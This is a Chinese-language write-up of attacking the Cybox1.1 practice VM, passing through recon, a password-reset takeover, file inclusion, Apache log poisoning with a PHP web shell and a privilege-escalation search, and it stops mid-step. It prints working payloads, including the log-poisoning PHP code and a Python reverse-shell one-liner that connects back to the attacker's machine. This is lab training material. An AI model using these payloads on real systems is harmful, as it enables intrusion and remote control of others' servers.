Cybox1.1靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:Cybox1.1
平台:VMware Workstation 16.2
靶机为NAT
模式
一、信息搜集
1.主机嗅探
靶机启动完成直线显示IP
,靶机的IP
为192.168.9.129
2.端口扫描
直接甩kali
里面一把梭
nmap -A -p- 192.168.9.129
开放了以下端口
21 | FTP(文件传输协议) |
---|---|
25 | SMTP(邮件传输协议) |
53 | domain(域名解析服务) |
80 | web(网页web服务) |
110 | POP3(邮局协议3) |
143 | IMAP(交互式邮件存取协议) |
443 | web(网页web服务,SSL安全加密协议) |
该靶机没开放22
端口,意味着不能直接ssh
连上去
3.访问其web页面
在主页最下边发现有个域名邮箱,推测可能需要子域名爆破
先进行网站目录爆破
dirsearch -u 192.168.9.129
并没有什么可以下手的地方
回到开始,发现页脚有个域名邮箱,尝试子域名爆破
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt
尝试修改hosts
文件,手动指向靶机
IP | 域名 |
---|---|
192.168.9.129 | cybox.company |
192.168.9.129 | dev.cybox.company |
192.168.9.129 | ftp.cybox.company |
192.168.9.129 | monitor.cybox.company |
192.168.9.129 | register.cybox.company |
192.168.9.129 | webmail.cybox.company |
一次访问各个页面,搜集可用信息
- 1.dev.cybox.company
是个phpinfo
页面
- 2.ftp.cybox.company
是一个ftp
页面,应该有文件传输功能,且需要验证用户名密码
- 3.monitor.cybox.company
是一个登录界面,下面两个连接分别跳转到注册和找回密码
- 4.register.cybox.company
- 5.webmail.cybox.company
是一个邮箱登录页面
二、漏洞挖掘
1.寻找程序漏洞
在http://monitor.cybox.company/register.php
随便注册一下
登录进去之后发现只是一个创建条目记录时间的功能,暂不清楚其作用
这里再测试一下admin
用户是否存在
发现admin@cybox.company
已经存在
访问重置密码的界面
尝试在webmail
页面登录进去,查看重置密码的邮件
发现无法登录进去,说明刚在在monitor
页面注册账户并不互通,尝试在register
页面注册同名账户
注册完成之后,下面提示用户名和密码都是qwe
,返回webmail
页面登录
再次发送重置密码的邮件
2.漏洞利用
打开bp
抓包,对着连接进行修改,尝试越权修改admin
账户的密码
将这里的qwe
改为admin
然后放包,就提示密码修改成功
使用admin
账户登入后台
发现有个Admin panel
管理员控制面板
该网站正在施工。。。
查看该页面的源码
此处包含了一个styles.php
页面,可能存在文件包含漏洞,尝试进行文件包含/etc/network/interface
文件包含测试成功,说明此处确实存在文件包含漏洞
可以利用apache
日志来进行反弹shell
,apache
日志文件存放路径为/opt/bitnami/apache2/logs/access_log
,利用文件包含漏洞可以先查看此日志文件
当访问ftp
页面的时候,日志输出了请求
打开bp
,刷新ftp
页面,将User-Agent
改成命令执行
改为<?php system($_GET['s']);?>
放包,然后就可以在文件包含的地方进行命令注入
3.反弹shell
直接将变量s
赋值为反弹shell
代码,反弹到kali
上面,选用443
端口的原因是靶机只部分端口有数据包出入,包括但不限于443
端口
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.24.59.243',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
在kali
上启动nc
监听
nc -lvvp 443
成功拿到权限较低的shell
三、提权
1.查找可用提权文件
查找有s
权限的文件,即以root
权限执行进程的文件
find / -perm -u=s -type f 2>/dev/null
发现位于/opt
下的registerlauncher
文件,以str
类型打开他它,直接cat
会乱码,发现有个/opt/register
查看/opt/register
文件